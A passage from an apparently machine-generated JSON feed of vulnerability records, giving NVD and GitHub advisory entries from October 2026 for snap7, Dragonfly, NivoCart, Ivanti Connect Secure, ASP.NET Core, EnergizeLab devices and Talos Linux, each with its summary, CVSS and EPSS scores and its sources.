2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111282&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111282, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111280","cveId":"CVE-2026-111280","aliases":[],"kind":"vulnerability","title":"snap7 through 1.4.3 contains an out-of-bounds write vulnerability in TSnap7MicroClient::opReadArea() that allows malicious S7 peers to overflow client buffers via an unchecked...","summary":"snap7 through 1.4.3 contains an out-of-bounds write vulnerability in TSnap7MicroClient::opReadArea() that allows malicious S7 peers to overflow client buffers via an unchecked DataLength field. Rogue or impersonated PLCs can return crafted ReadVar responses causing memcpy of up to 65535 bytes into caller buffers, crashing SCADA, HMI, or gateway processes and corrupting memory.","detail":"snap7 through 1.4.3 contains an out-of-bounds write vulnerability in TSnap7MicroClient::opReadArea() that allows malicious S7 peers to overflow client buffers via an unchecked DataLength field. Rogue or impersonated PLCs can return crafted ReadVar responses causing memcpy of up to 65535 bytes into caller buffers, crashing SCADA, HMI, or gateway processes and corrupting memory.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T22:19:29.317Z","updatedAt":"2026-10-23T20:17:19.987Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111280","asOf":"2026-10-23T20:17:19.987Z"},"epss":{"probability":0.0051,"percentile":0.43224,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111280&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111280","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111280","type":"primary","publishedAt":"2026-10-15T22:19:29.317Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111280&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111280, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111279","cveId":"CVE-2026-111279","aliases":[],"kind":"vulnerability","title":"Dragonfly through 2.0.2 contains an unbounded memory allocation vulnerability that allows unauthenticated clients to exhaust memory by passing a negative COUNT to HRANDFIELD,...","summary":"Dragonfly through 2.0.2 contains an unbounded memory allocation vulnerability that allows unauthenticated clients to exhaust memory by passing a negative COUNT to HRANDFIELD, ZRANDMEMBER or SRANDMEMBER. Attackers can send a single command against a one-element key with a huge negative COUNT to trigger the OOM killer, terminating the instance for all clients.","detail":"Dragonfly through 2.0.2 contains an unbounded memory allocation vulnerability that allows unauthenticated clients to exhaust memory by passing a negative COUNT to HRANDFIELD, ZRANDMEMBER or SRANDMEMBER. Attackers can send a single command against a one-element key with a huge negative COUNT to trigger the OOM killer, terminating the instance for all clients.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T22:19:29.157Z","updatedAt":"2026-10-16T20:17:19.980Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111279","asOf":"2026-10-16T20:17:19.980Z"},"epss":{"probability":0.00589,"percentile":0.47858,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111279&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111279","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111279","type":"primary","publishedAt":"2026-10-15T22:19:29.157Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111279&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111279, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111277","cveId":"CVE-2026-111277","aliases":[],"kind":"vulnerability","title":"NivoCart through 2.5.1 contains a missing authorization vulnerability in the download() action of account/order that allows unauthenticated attackers to retrieve guest order...","summary":"NivoCart through 2.5.1 contains a missing authorization vulnerability in the download() action of account/order that allows unauthenticated attackers to retrieve guest order invoices by supplying an order_id. Attackers can iterate the order_id parameter, which matches guest orders stored with customer_id 0, to disclose guest names, addresses, telephone numbers, emails, purchased items, and totals.","detail":"NivoCart through 2.5.1 contains a missing authorization vulnerability in the download() action of account/order that allows unauthenticated attackers to retrieve guest order invoices by supplying an order_id. Attackers can iterate the order_id parameter, which matches guest orders stored with customer_id 0, to disclose guest names, addresses, telephone numbers, emails, purchased items, and totals.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T22:19:28.770Z","updatedAt":"2026-10-16T15:17:13.750Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111277","asOf":"2026-10-16T15:17:13.750Z"},"epss":{"probability":0.00478,"percentile":0.40947,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111277&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111277","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111277","type":"primary","publishedAt":"2026-10-15T22:19:28.770Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111277&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111277, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111357","cveId":"CVE-2026-111357","aliases":[],"kind":"vulnerability","title":"Ivanti Connect Secure 22.8R2.4 mishandles the manner in which the dsinvoked broker trusts DSCache configuration data, leading to privilege escalation to root, as exploited in the...","summary":"Ivanti Connect Secure 22.8R2.4 mishandles the manner in which the dsinvoked broker trusts DSCache configuration data, leading to privilege escalation to root, as exploited in the wild in October 2026.","detail":"Ivanti Connect Secure 22.8R2.4 mishandles the manner in which the dsinvoked broker trusts DSCache configuration data, leading to privilege escalation to root, as exploited in the wild in October 2026.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:13.190Z","updatedAt":"2026-10-16T19:55:59.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Ivanti"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111357","asOf":"2026-10-16T19:55:59.740Z"},"epss":{"probability":0.00247,"percentile":0.15831,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111357&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111357","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111357","type":"primary","publishedAt":"2026-10-15T21:17:13.190Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111357&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111357, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109468","cveId":"CVE-2026-109468","aliases":[],"kind":"vulnerability","title":"Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network.","summary":"Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network.","detail":"Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:12.880Z","updatedAt":"2026-10-22T22:18:00.613Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109468","asOf":"2026-10-22T22:18:00.613Z"},"epss":{"probability":0.0095,"percentile":0.60986,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109468&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109468","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109468","type":"primary","publishedAt":"2026-10-15T21:17:12.880Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109468&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109468, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105040","cveId":"CVE-2026-105040","aliases":[],"kind":"vulnerability","title":"The EnergizeLab Eilik NestJS auth service accepts a user-controlled user ID in account update requests (mass assignment).","summary":"The EnergizeLab Eilik NestJS auth service accepts a user-controlled user ID in account update requests (mass assignment). A registered user can set another account's identifier and take over that account.","detail":"The EnergizeLab Eilik NestJS auth service accepts a user-controlled user ID in account update requests (mass assignment). A registered user can set another account's identifier and take over that account.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:04.703Z","updatedAt":"2026-10-16T20:17:18.690Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105040","asOf":"2026-10-16T20:17:18.690Z"},"epss":{"probability":0.00348,"percentile":0.28138,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105040&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105040","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105040","type":"primary","publishedAt":"2026-10-15T21:17:04.703Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105040&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105040, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105036","cveId":"CVE-2026-105036","aliases":[],"kind":"vulnerability","title":"EnergizeLab AI Station firmware, EilikO Linux robot firmware v2.1_20260617182218_release, and the EnergizeLab Windows desktop app 3.1.2 download firmware updates over plain HTTP...","summary":"EnergizeLab AI Station firmware, EilikO Linux robot firmware v2.1_20260617182218_release, and the EnergizeLab Windows desktop app 3.1.2 download firmware updates over plain HTTP and do not verify their integrity or authenticity. An attacker able to intercept or modify the traffic can substitute a malicious update.","detail":"EnergizeLab AI Station firmware, EilikO Linux robot firmware v2.1_20260617182218_release, and the EnergizeLab Windows desktop app 3.1.2 download firmware updates over plain HTTP and do not verify their integrity or authenticity. An attacker able to intercept or modify the traffic can substitute a malicious update.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:04.230Z","updatedAt":"2026-10-16T20:17:18.217Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105036","asOf":"2026-10-16T20:17:18.217Z"},"epss":{"probability":0.00235,"percentile":0.1435,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105036&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105036","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105036","type":"primary","publishedAt":"2026-10-15T21:17:04.230Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105036&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105036, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105035","cveId":"CVE-2026-105035","aliases":[],"kind":"vulnerability","title":"The EnergizeLab FirmwareUpdater (AArch64 ELF, distributed in the CDN bin.zip) uses a single hard-coded AES key shared by all installations.","summary":"The EnergizeLab FirmwareUpdater (AArch64 ELF, distributed in the CDN bin.zip) uses a single hard-coded AES key shared by all installations. An attacker who recovers the key from the updater can decrypt and forge firmware packages for any device that trusts it.","detail":"The EnergizeLab FirmwareUpdater (AArch64 ELF, distributed in the CDN bin.zip) uses a single hard-coded AES key shared by all installations. An attacker who recovers the key from the updater can decrypt and forge firmware packages for any device that trusts it.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:04.113Z","updatedAt":"2026-10-16T20:17:18.030Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105035","asOf":"2026-10-16T20:17:18.030Z"},"epss":{"probability":0.00199,"percentile":0.09673,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105035&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105035","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105035","type":"primary","publishedAt":"2026-10-15T21:17:04.113Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105035&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105035, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105034","cveId":"CVE-2026-105034","aliases":[],"kind":"vulnerability","title":"The EnergizeLab Eilik NestJS auth service issues device tokens for arbitrary robot serial numbers without authentication.","summary":"The EnergizeLab Eilik NestJS auth service issues device tokens for arbitrary robot serial numbers without authentication. An unauthenticated remote attacker can obtain a valid device token for any serial number and act as that device against the cloud services.","detail":"The EnergizeLab Eilik NestJS auth service issues device tokens for arbitrary robot serial numbers without authentication. An unauthenticated remote attacker can obtain a valid device token for any serial number and act as that device against the cloud services.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:03.997Z","updatedAt":"2026-10-16T20:17:17.917Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105034","asOf":"2026-10-16T20:17:17.917Z"},"epss":{"probability":0.00558,"percentile":0.46204,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105034&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105034","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105034","type":"primary","publishedAt":"2026-10-15T21:17:03.997Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105034&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105034, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105033","cveId":"CVE-2026-105033","aliases":[],"kind":"vulnerability","title":"The EnergizeLab AI Station (RK3562) firmware image ships with default root credentials and SSH enabled.","summary":"The EnergizeLab AI Station (RK3562) firmware image ships with default root credentials and SSH enabled. An attacker with network access to the device can log in as root and take full control of it.","detail":"The EnergizeLab AI Station (RK3562) firmware image ships with default root credentials and SSH enabled. An attacker with network access to the device can log in as root and take full control of it.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:03.883Z","updatedAt":"2026-10-16T20:17:17.817Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105033","asOf":"2026-10-16T20:17:17.817Z"},"epss":{"probability":0.00354,"percentile":0.28793,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105033&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105033","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105033","type":"primary","publishedAt":"2026-10-15T21:17:03.883Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105033&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105033, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77564","cveId":"CVE-2026-77564","aliases":["GHSA-7cxh-94cf-mfp6"],"kind":"vulnerability","title":"Talos Linux: Support bundle does not redact registry credentials","summary":"Within the generated support bundle, inside `resources/registryconfigs.cri.talos.dev.yaml` the `auth` field of the spec is retained.\nThe same, potentially sensitive information is present within `etcfilespecs.files.talos.dev.yaml`.\n\nSimply run `talosctl -n [...] support` on a cluster with a `RegistryAuthConfig` resource","detail":"### Summary\nWhen generating a support bundle with `talosctl support` the credentials entered for private registries are included in the bundle.\n\n### Details\n\nWithin the generated support bundle, inside `resources/registryconfigs.cri.talos.dev.yaml` the `auth` field of the spec is retained.\nThe same, potentially sensitive information is present within `etcfilespecs.files.talos.dev.yaml`.\n\n### PoC\n\nSimply run `talosctl -n [...] support` on a cluster with a `RegistryAuthConfig` resource \n\n### Impact\n\nThe problem itself is minor, however, anyone who has ever uploaded a support.zip bundle on a github issue, slack thread or public forum could have potentially leaked their internal authentication parameters for a private registry.\n\nIn most situations, if the network and credentials are set correctly, this should not be a problem. On the other hand, if the affected registry is publicly accessible, and the provided credentials have write access to it, this could lead to possibly serious consequences, from denial of service, to data loss and possibly existing tag hijacking leading to supply chain compromise, for the affected parties which were under the impression that the support bundle is redacted of sensitive information and thus can be shared publicly.\n\n### Notes\n\nTalos 1.14+ by default encrypts the support bundle to the age recipients specified (defaulting to siderolabs GitHub org members), so the impact is even lower.\n\n### Environment\n\n- Talos version: v1.13.0\n- Kubernetes version: 1.35.3\n- Platform: amd64\n\nAffected package ranges reported by GitHub:\ngithub.com/siderolabs/talos: < 1.14.0-alpha.0.0.20260513110206-76080416beee","action":"GitHub lists first patched versions: github.com/siderolabs/talos: 1.14.0-alpha.0.0.20260513110206-76080416beee. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-15T20:20:16.000Z","updatedAt":"2026-10-26T14:41:05.000Z","regions":["Global"],"vendor":null,"product":"github.com/siderolabs/talos","stacks":["Go modules","github.com/siderolabs/talos","go"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":3.3,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N","sourceUrl":"https://github.com/advisories/GHSA-7cxh-94cf-mfp6","asOf":"2026-10-26T14:41:05.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-7cxh-94cf-mfp6","url":"https://github.com/advisories/GHSA-7cxh-94cf-mfp6","type":"primary","publishedAt":"2026-10-15T20:20:16.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API 